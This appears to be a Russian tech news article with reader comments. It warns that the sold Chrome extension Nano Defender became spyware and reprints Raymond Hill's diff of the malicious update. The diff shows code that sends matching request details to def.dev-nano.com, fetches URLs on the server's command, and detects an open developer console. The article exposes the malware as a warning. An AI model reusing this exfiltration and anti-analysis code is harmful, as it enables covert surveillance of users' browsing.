Расширение Nano Defender нужно срочно удалить из браузера +90






3 октября 2020 года программист jspenguin2017, автор расширения Nano Defender, сообщил в официальном репозитории, что продал проект «группе турецких разработчиков». Это сообщение вызвало массу слухов и опасений: что за турецкие разработчики, кто контролирует код, почему из репозитория удалена страница с политикой приватности?

Спустя несколько дней опасения сообщества полностью оправдались.

Nano Defender — довольно популярный способ обхода антиблокировщиков рекламы. Работает в связке с блокировщиками uBlock Origin и Nano AdBlocker (форк uBlock Origin), защищая их от детектирования на сайтах.

Турки оперативно выпустили новую версию Nano Defender 15.0.0.206 с тщательно замаскированными изменениями в функциональности, которые не были опубликованы на GitHub. Внимательное изучение этих изменений указывает на то, что расширение нужно деинсталлировать всем пользователям.

Рекомендация относится к Chrome и браузеров на основе Chromium, где происходит автоматический апгрейд расширений без уведомления пользователя. Турки не покупали версию под Firefox. Мейнтейнер расширений Firefox Nano, разработчик LiCybora, подтвердил, что сохраняет над ними контроль: эти расширения в безопасности. Кроме того, Firefox проверяет цифровые подписи расширений, так что вредоносный код не так легко пропихнуть в новую версию расширения.

Автор uBlock Origin Рэймонд Хилл проанализировал изменения в версии Nano Defender 15.0.0.206. Он отметил, что добавлен код для детектирования запуска dev-консоли расширения. В этом случае высылается уведомление report на сервер https://def.dev-nano.com/. Другими словами, владельцы отслеживают тех, кто пытается разобраться в работе расширения. С высокой степенью вероятности в таком случае расширение меняет свою функциональность, скрывая некоторые функции — это стандартный трюк вредоносных программ, которые детектируют наличие исследовательского окружения, такого как виртуальная среда.

В такой ситуации Рэймонду Хиллу пришлось изучать функциональность новой версии Nano Defender без dev-консоли. Вот что он обнаружил.

При запуске расширение прослушивает https://def.dev-nano.com/ на предмет сообщений для заполнения списка listOfObject.

Насколько можно понять код, в дальнейшем содержимое списка listOfObject используется для проверки полей объекта details, который передаётся в webRequest.onBeforeSendHeaders(). Если все поля соответствуют условию, то всё содержимое объекта details отправляется на https://def.dev-nano.com/ под названием handleObject.

При этом обработчик webRequest.onBeforeSendHeaders() действует для всех сетевых запросов:

chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);

Поскольку listOfObject запрашивается с внешнего сервера, то функциональность этого метода устанавливается извне. Список может содержать любые условия в любом количестве. Грубо говоря, владельцы расширения могут запрашивать из браузера любые фрагменты исходящего сетевого трафика на своё усмотрение. Таким образом, расширение Nano Defender фактически превратилось в универсальный шпионский снифер.

Рэймонд Хилл опубликовал diff, который недоступен в репозитории новых владельцев:

diff для core.js
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //

Турецкие разработчики опубликовали новую политику приватности для расширения. В соответствии с ней, расширение собирает и передаёт на удалённый сервер массу информации, в том числе адреса посещённых страниц, время сессий на каждой странице, IP-адрес пользователя и другие данные. Раньше в соглашении о приватности не было такого пункта.

Вообще, продажа расширений — распространённая статья дохода для независимых разработчиков. После установки расширения многие пользователи не знают, что расширение купили новые владельцы, а их компьютер уже используются в постороннем проекте.

Например, владельцы прокси-сервиса SmartProxy предлагают своим клиентам доступ к сети домашних IP-адресов, которая насчитывает около 40 миллионов IP — большинство узлов находится на компьютерах ничего не подозревающих юзеров. Эти домашние компьютеры используются для проксирования трафика платных клиентов.



Другая сеть Luminati использует в качестве точек выхода компьютеры домашних пользователей, которые установили бесплатное приложение HolaVPN. Данная сеть также скупает популярные браузерные расширения.

С юридической точки зрения использование «втёмную» домашних компьютеров пользователей для прокачки коммерческого трафика — весьма сомнительное мероприятие. Но бизнесменам пока удаётся избежать наказания.

Что касается программиста jspenguin2017, то сообщество осудило его безответственные действия по продаже расширения, поскольку в поддержке и составлении списков для Nano Defender принимали участие десятки других разработчиков. Получается, что jspenguin2017 единолично монетизировал человеко-часы чужой работы.

Расширение Nano Defender уже удалено из каталога Chrome Web Store.




Комментарии (72):

  1. Valeratal
    /#22196052

    один вопрос, зачем это турецким "разработчикам" ?

    • Vindicar
      /#22196084 / +5

      Был бы ботнет, а способ монетизировать найдётся.

    • lonelymyp
      /#22196382

      Может быть это расширение стоит у такого человека, взлом которого принёс денег больше чем стоимость покупки расширения.

      • darthmaul
        /#22198506 / +1

        Домашние прокси всегда были в цене, с ними много что можно делать — от банальной накрутки рекламы до кардинга и прочих способов поживиться чужими деньгами.

  2. v1000
    /#22196336 / +2

    забавно, что сам разработчик рассказал что он хотел передать проект на поддержку другим из-за нехватки времени на доработки, и если бы он знал, что они так себя поведут, он бы им его не продал.

    • CoolCmd
      /#22196820 / +3

      это стандартная отмазка подобных мудаков

      • amarao
        /#22196968 / +38

        Автор расширения мудак? Наверное, было бы лучше, если бы он его не писал.


        Вон, стоит идеальный программист в белом, а вокруг мудаки. Программист в белом не написал ни единой строчки кода.

        • NLO
          /#22197000

          НЛО прилетело и опубликовало эту надпись здесь

          • F0iL
            /#22197014 / +13

            Потенциальным хакером может быть абсолютно любой человек. А какие у вас есть стопроцентно рабочие и безошибочные методы определения, являются ли покупатели «хакерами»?

            • nebularia
              /#22197092 / -23

              Если нет уверенности, то не продавать. Сколько таких историй-то уже?

          • amarao
            /#22197056 / +19

            А как назвать людей, которые голосовали за потенциального диктатора на выборах?


            Остались только д'Артаньяны, все в белом, которые ничего не делали и никаких ошибок не совершали.

            • NLO
              /#22197100

              НЛО прилетело и опубликовало эту надпись здесь

              • NLO
                /#22197126

                НЛО прилетело и опубликовало эту надпись здесь

                • tundrawolf_kiba
                  /#22197448 / +24

                  Вы продали машину некоему человеку. На следующий день этот человек попадает в аварию на машине унеся жизни нескольких человек. И исходя из вашей логики — мудаком будете именно вы — потому что не должны были продавать такому человеку такое опасное средство как машина. Должны были предвидеть, даже если никаких предпосылок не было.

                  • dvrpd
                    /#22197494 / -3

                    Статистически вероятность того, что тот, кому продали машину, попадёт в аварию, достаточно низка. В то же время практически каждая известная история про продажу расширения заканчивается встраиванием в него того или иного вредоносного кода. Конечно, не отрицаю возможность «ошибки выжившего», но всё же, будучи информированным о подобных историях, добросовестный разработчик бы трижды подумал, хорошо ли будет репутации расширения (и, как следствие, его самого) после такой сделки.

                    • tundrawolf_kiba
                      /#22197530 / +4

                      после такой сделки.

                      Какой? Вот если конкретно на этих людей, которым он продал — не было бэкграунда, позволяющего сказать, что они воспользуются расширением нечестно — то как он должен был это понять?

                  • NLO
                    /#22197550

                    НЛО прилетело и опубликовало эту надпись здесь

                    • tundrawolf_kiba
                      /#22197610 / +14

                      вы отпускаете своих детей гулять с неизвестным мужиком. Еще и денег у него возьмете. У вас же нет оснований подозревать в нем маньяка-педофила.

                      Мне кажется, все же продажа машины слегка более частая ситуация, чем та, которую вы описали. Что идиотского в продаже машины? Хотите аналогию с чем-то влияющим на кучу людей? Хорошо. Допустим есть хлебзавод, поставляющий хлеб в десятки магазинов. Потом хлебзавод продают и через время новый владелец нарушает технологию, что приводит к отравлению сотен или даже тысяч человек. Правильно понимаю, что в такой аналогии опять же будет виноват тот, кто продал?

                      Ахринительный прием: придумать идиотскую ситуацию, засунуть туда меня и обозвать мудаком.

                      Заметьте, не я первый начал обзывать. Я всего лишь попытался применить вашу логику к другим ситуациям связанным с продажей чего-либо.

                      • NLO
                        /#22197632

                        НЛО прилетело и опубликовало эту надпись здесь

                        • Xobotun
                          /#22198102 / +2

                          А в продаже хлебзавода с потребителями?

                          • NLO
                            /#22198160

                            НЛО прилетело и опубликовало эту надпись здесь

                            • JerleShannara
                              /#22198336 / +1

                              А расширение было продано анонимному покупателю? Ну вообще прям анонимному, автору где-то в дебрях i2p написал «VedroNavoza99» и предложил два биткоина, а автор согласился?

                  • Massacre
                    /#22198508 / +1

                    Тут скорее «вы продали оружие массового поражения» и дальше по тексту. Но это, в действительности проблема Гугла и его Хрома, которые автообновляют расширения по дефолту и не отслеживают, к примеру, смену владельца.

                    • tundrawolf_kiba
                      /#22198936

                      Ну оружие массового поражения — это все же слишком. Мне больше нравится моя аналогия с хлебзаводом, на котором можно сделать опасный для питания хлеб. А про смену владельца — да, согласен, хорошо бы Гугл это отслеживал и выдавал предупреждения о том что у расширения сменился владелец, хотите продолжить его использовать или удалить.

              • amarao
                /#22197464 / +7

                Не вижу. Если бы он за деньги закоммитил малварю — это была бы очевидный анти-этический поступок. Но он передал maintenance расширения in good faith.

                • NLO
                  /#22197618

                  НЛО прилетело и опубликовало эту надпись здесь

                  • sumanai
                    /#22197630 / +3

                    По всей видимости, продажа аудитории стала нормой.

                    Если этим занимаются гиганты, то что сразу мне нельзя? Весь рекламный бизнес это продажа пользователей.

                  • amarao
                    /#22197680 / +8

                    Чем отличается передача maintenance в гит-репозитории и передача extension? Если он знал про их планы или имел resonable причины подозревать, то да. Если нет — простите, автор он — на пожизненное? За то, что написал?

                    • Vindicar
                      /#22198034 / +1

                      Вы исходите из презумпции невиновности — если нет причин подозревать нечестные намерения покупателя, то нет отказывать.
                      А ваш оппонент исходит из презумпции виновности — пока не доказано, что покупатель имеет честные намерения, передавать ему нельзя ничего.

                      Логическими рассуждениями тут ничего не добьёшься, у вас разная аксиоматика.

                      • amarao
                        /#22198054 / +5

                        В рамках презумпции виновности нельзя никому давать денег (даже за товар). Вдруг, он террористов спонсирует?

                        • 0xd34df00d
                          /#22201200 / +1

                          В рамках этой презумпции даже комментарии писать нельзя — вдруг они кого натолкнут на мысль? Я уж не говорю об обучающих статьях на любые темы.

                    • alsoijw
                      /#22198216 / +1

                      Он продавал исходный код или расширение имеющее определённую аудиторию? Это уже не первый пример заражений расширений с их последующим удалением.

          • alsoijw
            /#22198164

            потенциальным хакерам?
            Хакер это толковый специалист, а не просто очередной взломщик.

          • JerleShannara
            /#22198324 / +1

            Вы мнение про то, что мужская половина населения земли — потенциальные насильники, слышали =)?

        • CoolCmd
          /#22197446 / +11

          Программист в белом не написал ни единой строчки кода.

          у меня есть расширение в хромом магазине и каждую неделю приходят письма от "турецких программистов" о монетизации. о результатах подобных монетизаций на каждом углу пишут. автор прекрасно знал на что шел. он просто продал пользователей своего расширения. он мудак.


          тот, кто его жалеет, тот либо не в теме, либо одобряет подобный способ зарабатывания денег.

  3. NLO
    /#22196444

    НЛО прилетело и опубликовало эту надпись здесь

    • Nalivai
      /#22196672 / +5

      Рекомендую сейчас и впредь читать статьи дальше заголовка.

  4. ExorcistF1
    /#22196804

    откатить к предыдущей(безопасной) версии сотни тысяч своих пользователей у гугла мозгов не хватит никогда

    • DaemonGloom
      /#22196816 / +3

      И что они должны сделать дальше? Оставить расширение без обновлений навсегда? Здесь же проблема не во взломе (что решается откатом вполне), а в сменившемся владельце.

      • CoolCmd
        /#22196822 / -2

        можно загрузить пустое расширение (заглушку). greasyfork так умеет.

        • unsignedchar
          /#22197648 / +5

          Даже не знаю что хуже — возможность того, что любое расширение могут продать плохим парням, или ещё и этот уровень цензуры от хороших парней.

          • CoolCmd
            /#22197878 / +1

            я писал о способе удаления с компов пользователей опасной версии расширения. что касается отката, то по словам гугла, они не хранят предыдущие версии расширения (может врут). да и не их это дело, ведь расширение не гуглу принадлежит.

    • Malduan
      /#22196936 / +5

      А откуда этому большинству казуальных пользователей вообще знать о существовании проблемы?

      • alexeyrom
        /#22197356 / +3

        Ниоткуда. Именно поэтому в комментарии, на который вы ответили, и предлагается действовать Гуглу, а не казуальным пользователям.

  5. lxsmkv
    /#22196902

    Это то, о чем я не устаю напоминать: open source не обязательно значит, что установленная программа собрана именно из опубликованых исходных кодов.

    Тут нам просто повезло, что нашелся заинтересованый человек, который стал копаться.

    • amarao
      /#22196974 / +8

      Привет, дебиан, с моделью reproducable builds и требованием, чтобы бинари собирались из src-части того же самого репозитория.

      • HardWrMan
        /#22197062 / +6

        Существуют люди, которые косятся на меня когда узнают, что я всегда собираю то что мне нужно во FreeBSD из портов сам. :)

        • 8street
          /#22198916

          А вы досконально изучаете, что делает код, который вы собираете?

          • HardWrMan
            /#22199450

            Не сказать, чтобы прям пристально, но иногда заглядываю. Ведь тут же главное то, что есть такая возможность, в отличии от бинарного репозитория. Я помню, как в 7й версии у MPD сломали ProxyArp и поправить руками исходник было проще, чем ждать пока кому-то придёт в голову пересобрать репозиторий. Кстати, исправили они только в 8й версии. Ну и сборка на целевой системе позволяет использовать оптимизации.

        • sumanai
          /#22198972

          Я бы удивился, узнав бы о существовании людей, которые не косятся! *Покосился на вас*

        • 0xd34df00d
          /#22201206

          Тут бы ещё отделить, удивление от самосборки или от FreeBSD. Как гентушник говорю.

  6. Andrey_Rogovsky
    /#22196922 / +7

    Антибаннеры продались
    Их надежды оправдались

  7. MityaMalov
    /#22196942 / +6

    Искренне надеюсь что с любимым uBlock Origin, такого не произойдет.

    • snowy
      /#22197894 / +11

      Вы думаете откуда взялась «Origin» часть названия?

  8. HardWrMan
    /#22197082 / +6

    Казалось бы, хороший тон, если ты при продаже за неделю-другую выпускаешь дополнительное, контролируемое тобой обновление своего приложения/дополнения, которое уведомляняет пользователей о факте будущей смены хозяина. А уже потом отдаёшь покупателю. Это действительно так сложно? Или просто состояние аффекта от суммы сделки?

    • maar
      /#22197602 / +5

      Разумеется, то более чем «сложно».
      За что, по вашему, платит покупатель бесплатного расширения?
      Именно за пользовательскую базу, которой можно с обновлением пропишнуть что-то, что они сами никогда не поставят.

  9. playnet
    /#22197300

    Когда узнал о расширении на хабре…
    А вообще, этот функционал должен быть частью того же uBlock

    • alexeyrom
      /#22197368

      Там в обсуждении упоминается, что большая часть в uBlock уже есть, просто появилась позже. (Я об этом расширении узнал тоже из статьи, так что судить, так ли это, не могу.)

    • nebularia
      /#22197396 / +2

      А вообще, этот функционал должен быть частью того же uBlock

      Ну это как встроенный антивирус и сторонний. С первым "разработчики" обязательно будут тестировать по дефолту, а вот методы второго могут остаться незамеченными.

      • playnet
        /#22198292

        «по дефолту» это скорее про adblock (plus), у ublock всё-таки меньше популярность. Тем более, там ещё разные листы есть…

  10. wyfinger
    /#22197786 / +1

    Как отключить автообновление расширений в Vivaldi/Chrome?

    • sumanai
      /#22197832 / +5

      Перейти на Firefox и галочкой в настройках?

      • wyfinger
        /#22197874 / +2

        Firefox меня не устраивает тем, что там убрали галку про проверку обновлений самого FF, т.е. если он и не будет сам обновляться, то все-равно будет задалбывать сообщениями о обновлении (можно отключить в реестре, но это еще поискать нужно как). А в обсуждении разработчиков было написано, что пользователи в основном дебилы, и нельзя давать им возможность легко совсем отключить автообновления. Мне это неприятно.

        • sumanai
          /#22198014 / +3

          А в обсуждении разработчиков было написано, что пользователи в основном дебилы

          Ну да, «Если создавать продукт для дебилов, то только дебилы им и будут пользоваться». Только все продукты сейчас на дебилов и ориентируются, если это не какая-нибудь профессиональная или внутренняя разработка.
          Ну вот в Хроме как я понял нет галочки «Отключить автообновление расширений», но вы же им пользуетесь.

          • wyfinger
            /#22198076 / -1

            Я пользуюсь Vivaldi, там никто не заставляет пользователя обновляться и вообще настроек много и они грамотно сделаны. Если и нет такой галки можно разрабов попросить сделать, они более ответственно относятся к желаниям пользователей.
            А про FF я же описал свои впечатления, они могут хоть 10 раз ту галку вернуть и вообще стать мягкими и пушистыми, но я для себя уже решил FF не использовать нигде и никогда.

  11. SagePtr
    /#22201342

    Где-нибудь возможно получить полный список «продавшихся» расширений и программ, дабы удалить их с компьютера и никогда больше не ставить?

    • sumanai
      /#22201748

      Разве что в будущее заглянуть. Потенциально продались все.

    • wyfinger
      /#22201752 / +1

      Нужно написать для этого отдельное расширение!

      • JerleShannara
        /#22201820

        Куплю это расширение вместе с пользователями =)

    • enabokov
      /#22211694

      Просто не нужно ставить какие-либо расширения.

      • sumanai
        /#22212370

        Да и браузер, чего уж там.